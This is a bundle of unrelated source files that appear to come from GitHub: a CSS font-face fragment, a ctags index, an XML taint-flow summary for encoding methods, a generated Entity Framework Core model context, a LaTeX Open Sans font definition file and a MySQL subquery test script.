url('./files/charis-sil-700italic.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
url('./files/charis-sil-700italic.woff2') format('woff2'), /* Super Modern Browsers */
url('./files/charis-sil-700italic.woff') format('woff'), /* Modern Browsers */
url('./files/charis-sil-700italic.svg#CharisSil') format('svg'); /* Legacy iOS */
}
|
{
"pile_set_name": "Github"
}
|
A input.c /^ A = INDX_T2$/;" e enum:__anone0aee1a10103 file:
INDX_C1 input.c /^ INDX_C1,$/;" e enum:__anone0aee1a10103 file:
INDX_C2 input.c /^ INDX_C2,$/;" e enum:__anone0aee1a10103 file:
INDX_IM1 input.c /^ INDX_IM1,$/;" e enum:__anone0aee1a10103 file:
INDX_IM2 input.c /^ INDX_IM2,$/;" e enum:__anone0aee1a10103 file:
INDX_L input.c /^ INDX_L,$/;" e enum:__anone0aee1a10103 file:
INDX_L2 input.c /^ INDX_L2,$/;" e enum:__anone0aee1a10103 file:
INDX_M input.c /^ INDX_M,$/;" e enum:__anone0aee1a10103 file:
INDX_NIL input.c /^ INDX_NIL = 0x00,$/;" e enum:__anone0aee1a10103 file:
INDX_P input.c /^ INDX_P,$/;" e enum:__anone0aee1a10103 file:
INDX_R input.c /^ INDX_R,$/;" e enum:__anone0aee1a10103 file:
INDX_R2 input.c /^ INDX_R2,$/;" e enum:__anone0aee1a10103 file:
INDX_S input.c /^ INDX_S,$/;" e enum:__anone0aee1a10103 file:
INDX_S1 input.c /^ INDX_S1,$/;" e enum:__anone0aee1a10103 file:
INDX_S2 input.c /^ INDX_S2,$/;" e enum:__anone0aee1a10103 file:
INDX_S3 input.c /^ INDX_S3,$/;" e enum:__anone0aee1a10103 file:
INDX_S4 input.c /^ INDX_S4,$/;" e enum:__anone0aee1a10103 file:
INDX_T input.c /^ INDX_T,$/;" e enum:__anone0aee1a10103 file:
INDX_T2 input.c /^ INDX_T2,$/;" e enum:__anone0aee1a10103 file:
__anone0aee1a10103 input.c /^typedef enum{$/;" g file:
task_indx_type input.c /^} task_indx_type;$/;" t typeref:enum:__anone0aee1a10103 file:
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" ?>
<summary fileFormatVersion="101">
<methods>
<method id="byte[] decode(byte[])">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="java.lang.Object decode(java.lang.Object)">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="byte[] decode(java.lang.String)">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="byte[] encode(byte[])">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="byte[] encode(byte[],int,int)">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="java.lang.Object encode(java.lang.Object)">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="java.lang.String encodeAsString(byte[])">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
<method id="java.lang.String encodeToString(byte[])">
<flows>
<flow isAlias="false" typeChecking="false">
<from sourceSinkType="Parameter" ParameterIndex="0" />
<to sourceSinkType="Return" />
</flow>
</flows>
</method>
</methods>
</summary>
|
{
"pile_set_name": "Github"
}
|
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated from a template.
//
// Manual changes to this file may cause unexpected behavior in your application.
// Manual changes to this file will be overwritten if the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
using System;
using System.Collections.Generic;
using System.Linq;
using System.ComponentModel.DataAnnotations.Schema;
using Microsoft.EntityFrameworkCore;
namespace Testing
{
/// <inheritdoc/>
public partial class AllFeatureModel : Microsoft.EntityFrameworkCore.DbContext
{
#region DbSets
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.AbstractBaseClass> AbstractBaseClasses { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.AllPropertyTypesOptional> AllPropertyTypesOptionals { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.AllPropertyTypesRequired> AllPropertyTypesRequireds { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.BaseClass> BaseClasses { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.BaseClassWithRequiredProperties> BaseClassWithRequiredProperties { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.BChild> BChilds { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.BParentCollection> BParentCollections { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.BParentOptional> BParentOptionals { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.BParentRequired> BParentRequireds { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.Child> Children { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.ConcreteDerivedClass> ConcreteDerivedClasses { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.ConcreteDerivedClassWithRequiredProperties> ConcreteDerivedClassWithRequiredProperties { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.DerivedClass> DerivedClasses { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.HiddenEntity> HiddenEntities { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.Master> Masters { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.ParserTest> ParserTests { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.RenamedColumn> RenamedColumns { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.UChild> UChilds { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.UParentCollection> UParentCollections { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.UParentOptional> UParentOptionals { get; set; }
public virtual Microsoft.EntityFrameworkCore.DbSet<global::Testing.UParentRequired> UParentRequireds { get; set; }
#endregion DbSets
/// <summary>
/// Default connection string
/// </summary>
public static string ConnectionString { get; set; } = @"Data Source=.\sqlexpress;Initial Catalog=Test;Integrated Security=True";
/// <inheritdoc />
public AllFeatureModel(DbContextOptions<AllFeatureModel> options) : base(options)
{
}
partial void CustomInit(DbContextOptionsBuilder optionsBuilder);
/// <inheritdoc />
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
optionsBuilder.UseLazyLoadingProxies();
CustomInit(optionsBuilder);
}
partial void OnModelCreatingImpl(ModelBuilder modelBuilder);
partial void OnModelCreatedImpl(ModelBuilder modelBuilder);
/// <inheritdoc />
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
base.OnModelCreating(modelBuilder);
OnModelCreatingImpl(modelBuilder);
modelBuilder.HasDefaultSchema("dbo");
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().ToTable("AllPropertyTypesOptionals").HasKey(t => new { t.Id, t.Id1 });
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.BinaryAttr).HasField("_BinaryAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.BooleanAttr).HasField("_BooleanAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.ByteAttr).HasField("_ByteAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.DateTimeAttr).HasField("_DateTimeAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.DateTimeOffsetAttr).HasField("_DateTimeOffsetAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.DecimalAttr).HasField("_DecimalAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.DoubleAttr).HasField("_DoubleAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.GuidAttr).HasField("_GuidAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.Int16Attr).HasField("_Int16Attr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.Int32Attr).HasField("_Int32Attr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.Int64Attr).HasField("_Int64Attr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.SingleAttr).HasField("_SingleAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.StringAttr).HasField("_StringAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.TimeAttr).HasField("_TimeAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property(t => t.Id1).IsRequired().HasField("_Id1").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedNever();
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().Property<byte[]>("Timestamp").IsConcurrencyToken();
modelBuilder.Entity<global::Testing.AllPropertyTypesOptional>().OwnsOne(x => x.OwnedType);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().ToTable("AllPropertyTypesRequireds").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.BinaryAttr).IsRequired().HasField("_BinaryAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.BooleanAttr).IsRequired().HasField("_BooleanAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.ByteAttr).IsRequired().HasField("_ByteAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.DateTimeAttr).IsRequired().HasField("_DateTimeAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.DateTimeOffsetAttr).IsRequired().HasField("_DateTimeOffsetAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.DecimalAttr).IsRequired().HasField("_DecimalAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.DoubleAttr).IsRequired().HasField("_DoubleAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.GuidAttr).IsRequired().HasField("_GuidAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.Int16Attr).IsRequired().HasField("_Int16Attr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.Int32Attr).IsRequired().HasField("_Int32Attr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.Int64Attr).IsRequired().HasField("_Int64Attr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.SingleAttr).IsRequired().HasField("_SingleAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.StringAttr).IsRequired().HasField("_StringAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.AllPropertyTypesRequired>().Property(t => t.TimeAttr).IsRequired().HasField("_TimeAttr").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.BaseClassWithRequiredProperties>().ToTable("BaseClassWithRequiredProperties").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.BaseClassWithRequiredProperties>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.BaseClassWithRequiredProperties>().Property(t => t.Property0).IsRequired().HasField("_Property0").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.BChild>().ToTable("BChilds").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.BChild>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.BChild>().HasOne(x => x.BParentRequired).WithOne(x => x.BChildOptional).HasForeignKey<global::Testing.BChild>("BParentRequired_Id");
modelBuilder.Entity<global::Testing.BChild>().HasOne(x => x.BParentRequired_1).WithOne(x => x.BChildRequired).HasForeignKey<global::Testing.BChild>("BParentRequired_1_Id").IsRequired();
modelBuilder.Entity<global::Testing.BChild>().HasOne(x => x.BParentRequired_2).WithMany(x => x.BChildCollection).HasForeignKey("BParentRequired_2_Id");
modelBuilder.Entity<global::Testing.BChild>().HasMany(x => x.BParentCollection).WithOne(x => x.BChildRequired).HasForeignKey("BChildRequired_Id").IsRequired();
modelBuilder.Entity<global::Testing.BChild>().HasMany(x => x.BParentCollection_2).WithOne(x => x.BChildOptional).HasForeignKey("BChildOptional_Id");
modelBuilder.Entity<global::Testing.BChild>().HasOne(x => x.BParentOptional).WithOne(x => x.BChildRequired).HasForeignKey<global::Testing.BParentOptional>("BChildRequired_Id").IsRequired();
modelBuilder.Entity<global::Testing.BChild>().HasOne(x => x.BParentOptional_1).WithMany(x => x.BChildCollection).HasForeignKey("BParentOptional_1_Id");
modelBuilder.Entity<global::Testing.BChild>().HasOne(x => x.BParentOptional_2).WithOne(x => x.BChildOptional).HasForeignKey<global::Testing.BChild>("BParentOptional_2_Id");
modelBuilder.Entity<global::Testing.BParentCollection>().ToTable("BParentCollections").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.BParentCollection>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.BParentOptional>().ToTable("BParentOptionals").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.BParentOptional>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.BParentRequired>().ToTable("BParentRequireds").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.BParentRequired>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.Child>().ToTable("Children").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.Child>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.Child>().HasOne(x => x.Parent).WithMany(x => x.Children).HasForeignKey("Parent_Id");
modelBuilder.Entity<global::Testing.ConcreteDerivedClass>().Property(t => t.Property1).HasField("_Property1").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ConcreteDerivedClass>().Property(t => t.PropertyInChild).HasField("_PropertyInChild").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ConcreteDerivedClassWithRequiredProperties>().Property(t => t.Property1).IsRequired().HasField("_Property1").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.DerivedClass>().Property(t => t.Property1).HasField("_Property1").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.DerivedClass>().Property(t => t.PropertyInChild).HasField("_PropertyInChild").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.HiddenEntity>().ToTable("HiddenEntities").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.HiddenEntity>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.HiddenEntity>().Property(t => t.Property1).HasField("_Property1").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.Master>().ToTable("Masters").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.Master>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.Master>().HasMany(x => x.Children).WithOne().HasForeignKey("Child_Children_Id").IsRequired();
modelBuilder.Owned<global::Testing.OwnedType>();
modelBuilder.Entity<global::Testing.ParserTest>().ToTable("ParserTests").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name1).HasField("_name1").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name2).HasField("_name2").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name3).HasField("_name3").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name4).HasField("_name4").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name5).HasField("_name5").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name6).HasField("_name6").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name7).HasField("_name7").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name8).HasField("_name8").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name9).HasField("_name9").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name).HasField("_name").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name11).HasField("_name11").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name12).HasField("_name12").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name13).HasField("_name13").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name14).HasField("_name14").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name15).HasField("_name15").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name16).HasField("_name16").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name17).HasField("_name17").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.ParserTest>().Property(t => t.name18).HasField("_name18").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.RenamedColumn>().ToTable("RenamedColumns").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.RenamedColumn>().Property(t => t.Id).IsRequired().HasColumnName("Foo").HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.UChild>().ToTable("UChilds").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.UChild>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.UParentCollection>().ToTable("UParentCollections").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.UParentCollection>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.UParentCollection>().HasOne(x => x.UChildRequired).WithMany().HasForeignKey("UChildRequired_Id");
modelBuilder.Entity<global::Testing.UParentCollection>().HasOne(x => x.UChildOptional).WithMany().HasForeignKey("UChildOptional_Id");
modelBuilder.Entity<global::Testing.UParentOptional>().Property(t => t.PropertyInChild).HasField("_PropertyInChild").UsePropertyAccessMode(PropertyAccessMode.Property);
modelBuilder.Entity<global::Testing.UParentOptional>().HasOne(x => x.UChildOptional).WithOne().HasForeignKey<global::Testing.UParentOptional>("UChild_UChildOptional_Id");
modelBuilder.Entity<global::Testing.UParentOptional>().HasMany(x => x.UChildCollection).WithOne().HasForeignKey("UChild_UChildCollection_Id");
modelBuilder.Entity<global::Testing.UParentOptional>().HasOne(x => x.UChildRequired).WithOne().HasForeignKey<global::Testing.UParentOptional>("UChildRequired_Id");
modelBuilder.Entity<global::Testing.UParentRequired>().ToTable("UParentRequireds").HasKey(t => t.Id);
modelBuilder.Entity<global::Testing.UParentRequired>().Property(t => t.Id).IsRequired().HasField("_Id").UsePropertyAccessMode(PropertyAccessMode.Property).ValueGeneratedOnAdd();
modelBuilder.Entity<global::Testing.UParentRequired>().HasOne(x => x.UChildRequired).WithOne().HasForeignKey<global::Testing.UParentRequired>("UChild_UChildRequired_Id").IsRequired();
modelBuilder.Entity<global::Testing.UParentRequired>().HasMany(x => x.UChildCollection).WithOne().HasForeignKey("UChild_UChildCollection_Id").IsRequired();
modelBuilder.Entity<global::Testing.UParentRequired>().HasOne(x => x.UChildOptional).WithOne().HasForeignKey<global::Testing.UParentRequired>("UChild_UChildOptional_Id").IsRequired();
OnModelCreatedImpl(modelBuilder);
}
}
}
|
{
"pile_set_name": "Github"
}
|
%Filename: x2fosj.fd
%Created by: tex opensans-drv
%Created using fontinst v1.927
%THIS FILE SHOULD BE PUT IN A TEX INPUTS DIRECTORY
\ProvidesFile{x2fosj.fd}
[2011/11/11 Fontinst v1.927 font definitions for X2/fosj.]
\expandafter\ifx\csname opensans@scale\endcsname\relax
\let\opensans@scale\@empty
\fi
\DeclareFontFamily{X2}{fosj}{}
\DeclareFontShape{X2}{fosj}{l}{n}{
<->\opensans@scale OpenSans-Light-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{l}{it}{
<->\opensans@scale OpenSans-LightItalic-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{l}{sc}{
<->\opensans@scale OpenSans-Light-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{l}{scit}{
<->\opensans@scale OpenSans-LightItalic-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{cl}{n}{
<->\opensans@scale OpenSans-CondLight-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{cl}{it}{
<->\opensans@scale OpenSans-CondLightItalic-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{cl}{sc}{
<->\opensans@scale OpenSans-CondLight-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{cl}{scit}{
<->\opensans@scale OpenSans-CondLightItalic-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{m}{n}{
<->\opensans@scale OpenSans-Regular-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{m}{it}{
<->\opensans@scale OpenSans-Italic-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{m}{sc}{
<->\opensans@scale OpenSans-Regular-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{m}{scit}{
<->\opensans@scale OpenSans-Italic-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{sb}{n}{
<->\opensans@scale OpenSans-Semibold-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{sb}{it}{
<->\opensans@scale OpenSans-SemiboldItalic-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{sb}{sc}{
<->\opensans@scale OpenSans-Semibold-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{sb}{scit}{
<->\opensans@scale OpenSans-SemiboldItalic-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{b}{n}{
<->\opensans@scale OpenSans-Bold-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{b}{it}{
<->\opensans@scale OpenSans-BoldItalic-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{b}{sc}{
<->\opensans@scale OpenSans-Bold-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{b}{scit}{
<->\opensans@scale OpenSans-BoldItalic-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{eb}{n}{
<->\opensans@scale OpenSans-ExtraBold-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{eb}{it}{
<->\opensans@scale OpenSans-ExtraBoldItalic-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{eb}{sc}{
<->\opensans@scale OpenSans-ExtraBold-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{eb}{scit}{
<->\opensans@scale OpenSans-ExtraBoldItalic-SmallCaps-OSFigures-x2
}{}
\DeclareFontShape{X2}{fosj}{l}{sl}{<->ssub * fosj/l/it}{}
\DeclareFontShape{X2}{fosj}{l}{scsl}{<->ssub * fosj/l/scit}{}
\DeclareFontShape{X2}{fosj}{cl}{sl}{<->ssub * fosj/cl/it}{}
\DeclareFontShape{X2}{fosj}{cl}{scsl}{<->ssub * fosj/cl/scit}{}
\DeclareFontShape{X2}{fosj}{m}{sl}{<->ssub * fosj/m/it}{}
\DeclareFontShape{X2}{fosj}{m}{scsl}{<->ssub * fosj/m/scit}{}
\DeclareFontShape{X2}{fosj}{sb}{sl}{<->ssub * fosj/sb/it}{}
\DeclareFontShape{X2}{fosj}{b}{sl}{<->ssub * fosj/sb/sl}{}
\DeclareFontShape{X2}{fosj}{bx}{sl}{<->ssub * fosj/b/sl}{}
\DeclareFontShape{X2}{fosj}{sb}{scsl}{<->ssub * fosj/sb/scit}{}
\DeclareFontShape{X2}{fosj}{b}{scsl}{<->ssub * fosj/sb/scsl}{}
\DeclareFontShape{X2}{fosj}{bx}{scsl}{<->ssub * fosj/b/scsl}{}
\DeclareFontShape{X2}{fosj}{bx}{n}{<->ssub * fosj/b/n}{}
\DeclareFontShape{X2}{fosj}{bx}{it}{<->ssub * fosj/b/it}{}
\DeclareFontShape{X2}{fosj}{bx}{sc}{<->ssub * fosj/b/sc}{}
\DeclareFontShape{X2}{fosj}{bx}{scit}{<->ssub * fosj/b/scit}{}
\DeclareFontShape{X2}{fosj}{eb}{sl}{<->ssub * fosj/eb/it}{}
\DeclareFontShape{X2}{fosj}{eb}{scsl}{<->ssub * fosj/eb/scit}{}
\endinput
|
{
"pile_set_name": "Github"
}
|
--disable_warnings
DROP TABLE IF EXISTS t1;
--enable_warnings
--disable_warnings
DROP TABLE IF EXISTS t2;
--enable_warnings
CREATE TABLE t1 (c1 INT, c2 CHAR(100));
INSERT INTO t1 VALUES (null,null);
INSERT INTO t1 VALUES (1,'');
INSERT INTO t1 VALUES (2,'abcde');
INSERT INTO t1 VALUES (100,'abcdefghij');
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (1,'abcde');
INSERT INTO t2 VALUES (2,'abcde');
SELECT * FROM t1 WHERE c1 = ANY (SELECT c1 FROM t2 WHERE t2.c2 =
t1.c2);
DROP TABLE t1;
DROP TABLE t2;
CREATE TABLE t1 (c1 INT, c2 VARCHAR(100));
INSERT INTO t1 VALUES (null,null);
INSERT INTO t1 VALUES (1,'');
INSERT INTO t1 VALUES (2,'abcde');
INSERT INTO t1 VALUES (100,'abcdefghij');
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (1,'abcde');
INSERT INTO t2 VALUES (2,'abcde');
